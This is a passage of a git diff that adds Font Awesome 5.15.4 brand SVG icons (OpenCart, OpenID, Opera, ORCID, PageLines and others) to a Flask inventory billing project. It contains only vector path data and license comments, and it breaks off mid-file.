17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/opencart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/opencart.svg new file mode 100644 index 00000000..267fb2e4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/opencart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M423.3 440.7c0 25.3-20.3 45.6-45.6 45.6s-45.8-20.3-45.8-45.6 20.6-45.8 45.8-45.8c25.4 0 45.6 20.5 45.6 45.8zm-253.9-45.8c-25.3 0-45.6 20.6-45.6 45.8s20.3 45.6 45.6 45.6 45.8-20.3 45.8-45.6-20.5-45.8-45.8-45.8zm291.7-270C158.9 124.9 81.9 112.1 0 25.7c34.4 51.7 53.3 148.9 373.1 144.2 333.3-5 130 86.1 70.8 188.9 186.7-166.7 319.4-233.9 17.2-233.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/openid.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/openid.svg new file mode 100644 index 00000000..58524d37 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/openid.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M271.5 432l-68 32C88.5 453.7 0 392.5 0 318.2c0-71.5 82.5-131 191.7-144.3v43c-71.5 12.5-124 53-124 101.3 0 51 58.5 93.3 135.7 103v-340l68-33.2v384zM448 291l-131.3-28.5 36.8-20.7c-19.5-11.5-43.5-20-70-24.8v-43c46.2 5.5 87.7 19.5 120.3 39.3l35-19.8L448 291z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/opera.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/opera.svg new file mode 100644 index 00000000..093f24e0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/opera.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.9 32.7c-170.2 0-252.6 223.8-147.5 355.1 36.5 45.4 88.6 75.6 147.5 75.6 36.3 0 70.3-11.1 99.4-30.4-43.8 39.2-101.9 63-165.3 63-3.9 0-8 0-11.9-.3C104.6 489.6 0 381.1 0 248 0 111 111 0 248 0h.8c63.1.3 120.7 24.1 164.4 63.1-29-19.4-63.1-30.4-99.3-30.4zm101.8 397.7c-40.9 24.7-90.7 23.6-132-5.8 56.2-20.5 97.7-91.6 97.7-176.6 0-84.7-41.2-155.8-97.4-176.6 41.8-29.2 91.2-30.3 132.9-5 105.9 98.7 105.5 265.7-1.2 364z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/optin-monster.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/optin-monster.svg new file mode 100644 index 00000000..63537409 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/optin-monster.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M572.6 421.4c5.6-9.5 4.7-15.2-5.4-11.6-3-4.9-7-9.5-11.1-13.8 2.9-9.7-.7-14.2-10.8-9.2-4.6-3.2-10.3-6.5-15.9-9.2 0-15.1-11.6-11.6-17.6-5.7-10.4-1.5-18.7-.3-26.8 5.7.3-6.5.3-13 .3-19.7 12.6 0 40.2-11 45.9-36.2 1.4-6.8 1.6-13.8-.3-21.9-3-13.5-14.3-21.3-25.1-25.7-.8-5.9-7.6-14.3-14.9-15.9s-12.4 4.9-14.1 10.3c-8.5 0-19.2 2.8-21.1 8.4-5.4-.5-11.1-1.4-16.8-1.9 2.7-1.9 5.4-3.5 8.4-4.6 5.4-9.2 14.6-11.4 25.7-11.6V256c19.5-.5 43-5.9 53.8-18.1 12.7-13.8 14.6-37.3 12.4-55.1-2.4-17.3-9.7-37.6-24.6-48.1-8.4-5.9-21.6-.8-22.7 9.5-2.2 19.6 1.2 30-38.6 25.1-10.3-23.8-24.6-44.6-42.7-60C341 49.6 242.9 55.5 166.4 71.7c19.7 4.6 41.1 8.6 59.7 16.5-26.2 2.4-52.7 11.3-76.2 23.2-32.8 17-44 29.9-56.7 42.4 14.9-2.2 28.9-5.1 43.8-3.8-9.7 5.4-18.4 12.2-26.5 20-25.8.9-23.8-5.3-26.2-25.9-1.1-10.5-14.3-15.4-22.7-9.7-28.1 19.9-33.5 79.9-12.2 103.5 10.8 12.2 35.1 17.3 54.9 17.8-.3 1.1-.3 1.9-.3 2.7 10.8.5 19.5 2.7 24.6 11.6 3 1.1 5.7 2.7 8.1 4.6-5.4.5-11.1 1.4-16.5 1.9-3.3-6.6-13.7-8.1-21.1-8.1-1.6-5.7-6.5-12.2-14.1-10.3-6.8 1.9-14.1 10-14.9 15.9-22.5 9.5-30.1 26.8-25.1 47.6 5.3 24.8 33 36.2 45.9 36.2v19.7c-6.6-5-14.3-7.5-26.8-5.7-5.5-5.5-17.3-10.1-17.3 5.7-5.9 2.7-11.4 5.9-15.9 9.2-9.8-4.9-13.6-1.7-11.1 9.2-4.1 4.3-7.8 8.6-11.1 13.8-10.2-3.7-11 2.2-5.4 11.6-1.1 3.5-1.6 7-1.9 10.8-.5 31.6 44.6 64 73.5 65.1 17.3.5 34.6-8.4 43-23.5 113.2 4.9 226.7 4.1 340.2 0 8.1 15.1 25.4 24.3 42.7 23.5 29.2-1.1 74.3-33.5 73.5-65.1.2-3.7-.7-7.2-1.7-10.7zm-73.8-254c1.1-3 2.4-8.4 2.4-14.6 0-5.9 6.8-8.1 14.1-.8 11.1 11.6 14.9 40.5 13.8 51.1-4.1-13.6-13-29-30.3-35.7zm-4.6 6.7c19.5 6.2 28.6 27.6 29.7 48.9-1.1 2.7-3 5.4-4.9 7.6-5.7 5.9-15.4 10-26.2 12.2 4.3-21.3.3-47.3-12.7-63 4.9-.8 10.9-2.4 14.1-5.7zm-24.1 6.8c13.8 11.9 20 39.2 14.1 63.5-4.1.5-8.1.8-11.6.8-1.9-21.9-6.8-44-14.3-64.6 3.7.3 8.1.3 11.8.3zM47.5 203c-1.1-10.5 2.4-39.5 13.8-51.1 7-7.3 14.1-5.1 14.1.8 0 6.2 1.4 11.6 2.4 14.6-17.3 6.8-26.2 22.2-30.3 35.7zm9.7 27.6c-1.9-2.2-3.5-4.9-4.9-7.6 1.4-21.3 10.3-42.7 29.7-48.9 3.2 3.2 9.2 4.9 14.1 5.7-13 15.7-17 41.6-12.7 63-10.8-2.2-20.5-6-26.2-12.2zm47.9 14.6c-4.1 0-8.1-.3-12.7-.8-4.6-18.6-1.9-38.9 5.4-53v.3l12.2-5.1c4.9-1.9 9.7-3.8 14.9-4.9-10.7 19.7-17.4 41.3-19.8 63.5zm184-162.7c41.9 0 76.2 34 76.2 75.9 0 42.2-34.3 76.2-76.2 76.2s-76.2-34-76.2-76.2c0-41.8 34.3-75.9 76.2-75.9zm115.6 174.3c-.3 17.8-7 48.9-23 57-13.2 6.6-6.5-7.5-16.5-58.1 13.3.3 26.6.3 39.5 1.1zm-54-1.6c.8 4.9 3.8 40.3-1.6 41.9-11.6 3.5-40 4.3-51.1-1.1-4.1-3-4.6-35.9-4.3-41.1v.3c18.9-.3 38.1-.3 57 0zM278.3 309c-13 3.5-41.6 4.1-54.6-1.6-6.5-2.7-3.8-42.4-1.9-51.6 19.2-.5 38.4-.5 57.8-.8v.3c1.1 8.3 3.3 51.2-1.3 53.7zm-106.5-51.1c12.2-.8 24.6-1.4 36.8-1.6-2.4 15.4-3 43.5-4.9 52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/orcid.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/orcid.svg new file mode 100644 index 00000000..072b67bf --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/orcid.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/osi.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/osi.svg new file mode 100644 index 00000000..b4b33c87 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/osi.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/page4.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/page4.svg new file mode 100644 index 00000000..e89c6c46 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/page4.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pagelines.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pagelines.svg new file mode 100644 index 00000000..1fea4913 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/pagelines.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/palfed.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/palfed.svg new file mode 100644 index 00000000..06da74c1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/brands/palfed.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 